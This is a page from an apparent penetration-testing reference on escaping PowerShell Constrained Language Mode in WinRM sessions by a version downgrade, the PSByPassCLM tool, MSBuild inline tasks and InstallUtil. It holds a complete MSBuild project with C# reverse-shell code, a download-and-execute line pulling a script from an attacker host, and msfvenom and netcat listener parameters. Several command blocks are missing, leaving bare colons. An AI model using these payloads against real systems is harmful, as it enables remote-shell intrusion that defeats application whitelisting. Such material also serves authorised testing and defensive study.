WinRM CLM Bypass – PowerShell Constrained Language Mode Escape
PowerShell Constrained Language Mode (CLM) is enforced when AppLocker or WDAC (Windows Defender Application Control) policies are active. A WinRM session landing in CLM blocks .NET type access, COM object creation, and most reflection-based techniques — meaning standard post-exploitation tools like PowerView, Rubeus, and Mimikatz loaded as PowerShell scripts will fail silently or throw errors.
Check your current language mode immediately after connecting:
FullLanguage— no restrictions, proceed normallyConstrainedLanguage— CLM active, use techniques belowRestrictedLanguage— very locked down, only basic expressions allowedNoLanguage— almost certainly a JEA endpoint, see https://hackindex.io/services/winrm/privilege-escalation/jea-escape
Technique 1 – PowerShell Version Downgrade
PowerShell version 2 does not enforce CLM. If PowerShell 2 is installed on the target, downgrade to escape entirely:
Confirm it worked:
If the output is FullLanguage, you are out. Run your tools normally.
Check if v2 is available first:
A key named 1 with a PowerShellVersion value of 2.0 confirms v2 is installed. Many modern environments have v2 removed — if the downgrade fails, move to the next technique.
Technique 2 – PSByPassCLM via Custom Runspace
PSByPassCLM creates a new PowerShell runspace outside the CLM enforcement boundary by calling the .NET API directly from a compiled binary rather than through the constrained PowerShell host.
Upload the PSByPassCLM binary to the target:
Execute it from your WinRM shell. It spawns a new PowerShell process in FullLanguage mode:
Explain command
| C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Target PowerShell executable to launch |
| -c | Execute the following string as a PowerShell command |
| $env:COMPUTERNAME | PowerShell environment variable containing the computer name |
Or get a reverse shell directly from the new FullLanguage process:
Explain command
| C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Target PowerShell executable to execute within CLM bypass context |
| IEX(New-Object Net.WebClient).downloadString('http://$LHOST/rev.ps1') | PowerShell command that downloads and executes remote script from attacker host |
| $LHOST | Placeholder for attacker's listening host IP address or hostname |
Source: https://github.com/padovah4ck/PSByPassCLM
Technique 3 – MSBuild Inline Task Execution
MSBuild.exe is a Microsoft-signed binary and is typically on the allowed list even when AppLocker is enforcing CLM. It can execute arbitrary .NET code via an inline task XML file.
Create the MSBuild project file on your attack box:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="exploit">
<ClassExample />
</Target>
<UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.IO;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask {
public override bool Execute() {
using (var client = new TcpClient("LHOST_REPLACE", LPORT_REPLACE)) {
var stream = client.GetStream();
var buf = new byte[65535];
using (var process = new System.Diagnostics.Process()) {
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.CreateNoWindow = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardInput = true;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.OutputDataReceived += (s, e) => { if (e.Data != null) { var b = Encoding.ASCII.GetBytes(e.Data + "\n"); stream.Write(b, 0, b.Length); } };
process.ErrorDataReceived += (s, e) => { if (e.Data != null) { var b = Encoding.ASCII.GetBytes(e.Data + "\n"); stream.Write(b, 0, b.Length); } };
process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
int br;
while ((br = stream.Read(buf, 0, buf.Length)) > 0) {
process.StandardInput.WriteLine(Encoding.ASCII.GetString(buf, 0, br).TrimEnd('\n'));
}
}
}
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Replace LHOST_REPLACE with $LHOST and LPORT_REPLACE with $LPORT.
Upload the file:
Start your listener:
Explain command
| -l | Listen mode; nc acts as a server instead of client |
| -v | Verbose output; displays connection information |
| -n | Numeric only; skip DNS name resolution |
| -p | Specify source port for listening or connection |
| $LPORT | Variable placeholder for the listening port number |
Execute via MSBuild:
MSBuild compiles and runs the inline C# task outside CLM enforcement, delivering a cmd.exe reverse shell.
Technique 4 – InstallUtil Bypass
InstallUtil.exe is another Microsoft-signed binary that executes .NET assembly installer classes and is typically AppLocker-whitelisted. Compile a C# payload that implements Installer.Install():
On your attack box, compile a reverse shell installer:
Explain command
| -p windows/x64/shell_reverse_tcp | Payload type: 64-bit Windows reverse TCP shell |
| LHOST=$LHOST | Attacker IP address to connect back to |
| LPORT=$LPORT | Attacker listening port for reverse connection |
| -f exe-service | Output format as Windows service executable |
| -o payload.exe | Output file path for generated payload |
Or compile a custom C# installer class:
Explain command
| /target:library | Compile as a library (DLL) instead of executable |
| /out:payload.dll | Specify output file name and path for compiled assembly |
| payload.cs | Source code file to compile |
Upload and execute:
Confirming CLM is Defeated
After applying any bypass, verify language mode in the new shell:
FullLanguage confirms success. Now load post-exploitation tools normally:
References
-
padovah4ck Custom runspace CLM bypass tool with usage examples.
-
MSBuild MSBuild inline task execution technique with code examples.
-
AppLocker Case Studyoddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1 (opens in new tab)
Oddvar Moe Real-world CLM and AppLocker bypass research and bypass technique documentation.
Was this helpful?
Your feedback helps improve this page.